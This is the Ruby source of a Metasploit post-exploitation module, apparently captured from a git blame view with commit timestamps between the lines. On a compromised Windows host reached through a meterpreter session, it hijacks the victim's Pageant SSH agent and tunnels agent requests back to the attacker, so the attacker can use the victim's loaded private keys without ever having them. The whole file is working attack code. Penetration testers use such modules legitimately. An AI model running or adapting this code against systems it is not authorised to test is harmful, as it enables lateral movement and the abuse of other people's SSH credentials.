metasploit-framework/modules/post/windows/manage/forward_pageant.rb

106 lines
4.5 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
2015-05-19 08:55:38 +00:00
require 'tmpdir'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
2015-05-19 13:44:32 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Forward SSH Agent Requests To Remote Pageant',
'Description' => %q{
This module forwards SSH agent requests from a local socket to a remote Pageant instance.
If a target Windows machine is compromised and is running Pageant, this will allow the
attacker to run normal OpenSSH commands (e.g. ssh-add -l) against the Pageant host which are
tunnelled through the meterpreter session. This could therefore be used to authenticate
with a remote host using a private key which is loaded into a remote user's Pageant instance,
without ever having knowledge of the private key itself.
2015-05-19 13:44:32 +00:00
Note that this requires the PageantJacker meterpreter extension, but this will be automatically
loaded into the remote meterpreter session by this module if it is not already loaded.
},
'License' => MSF_LICENSE,
'Author' => [
2015-05-19 13:46:44 +00:00
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',
'Ben Campbell', # A HUGE amount of support in this :-)
2015-05-19 13:44:32 +00:00
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
2015-05-19 09:56:04 +00:00
register_options(
[
2015-05-19 13:44:32 +00:00
OptString.new('SocketPath', [false, 'Specify a filename for the local UNIX socket.', nil])
2015-05-19 09:56:04 +00:00
], self.class)
2015-05-19 08:55:38 +00:00
end
def run
2015-05-19 14:13:15 +00:00
# Check to ensure that UNIX sockets are supported
begin
::UNIXServer
rescue NameError
print_error("This module is only supported on a Metasploit installation that supports UNIX sockets.")
return false
end
# Attempt to load the pageantjacker extension if it isn't already loaded.
2015-05-19 13:44:32 +00:00
unless session.pageantjacker
2015-05-19 09:33:32 +00:00
print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})")
2015-05-19 08:55:38 +00:00
session.core.use("pageantjacker")
end
# Fail if it cannot be loaded
2015-05-19 13:44:32 +00:00
unless session.pageantjacker
2015-05-19 09:33:32 +00:00
print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})")
2015-05-19 08:55:38 +00:00
return false
end
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
2015-05-19 09:56:04 +00:00
if datastore['SocketPath']
2015-05-19 13:44:32 +00:00
@sockpath = datastore['SocketPath'].to_s
2015-05-19 09:56:04 +00:00
else
2015-05-19 13:44:32 +00:00
@sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}"
2015-05-19 09:56:04 +00:00
end
# Quit if the file exists, so that we don't accidentally overwrite something important on the host system
2015-05-19 13:44:32 +00:00
if ::File.exist?(@sockpath)
print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.")
return false
2015-05-19 13:42:30 +00:00
end
2015-05-19 08:55:38 +00:00
# Open the socket and start listening on it. Essentially now forward traffic between us and the remote Pageant instance.
2015-05-19 14:13:15 +00:00
::UNIXServer.open(@sockpath) do |serv|
2015-05-19 10:34:25 +00:00
print_status("Launched listening socket on #{@sockpath}")
print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")")
2015-05-19 08:55:38 +00:00
print_status("Now use any tool normally (e.g. ssh-add)")
2015-05-19 09:56:04 +00:00
2015-05-19 13:44:32 +00:00
loop do
2015-05-19 08:55:38 +00:00
s = serv.accept
2015-05-19 13:44:32 +00:00
loop do
2015-05-19 13:46:44 +00:00
socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX
2015-05-19 08:55:38 +00:00
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
2015-05-19 10:34:25 +00:00
response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size)
if response[:success]
2015-05-19 13:44:32 +00:00
s.send response[:blob], 0
vprint_status("PageantJacker: Response received (Success='#{response[:success]}' Size='#{response[:blob].size}' Error='#{response[:error]}')")
else
print_error("PageantJacker: Unsuccessful response received (#{response[:error]})")
2015-05-19 10:34:25 +00:00
end
2015-05-19 09:56:04 +00:00
end
2015-05-19 13:44:32 +00:00
end
2015-05-19 08:55:38 +00:00
end
end
2015-05-19 13:44:32 +00:00
def cleanup
# Remove the socket that we created, if it still exists
::File.delete(@sockpath) if ::File.exist?(@sockpath) if @sockpath
end
2015-05-19 14:13:15 +00:00
end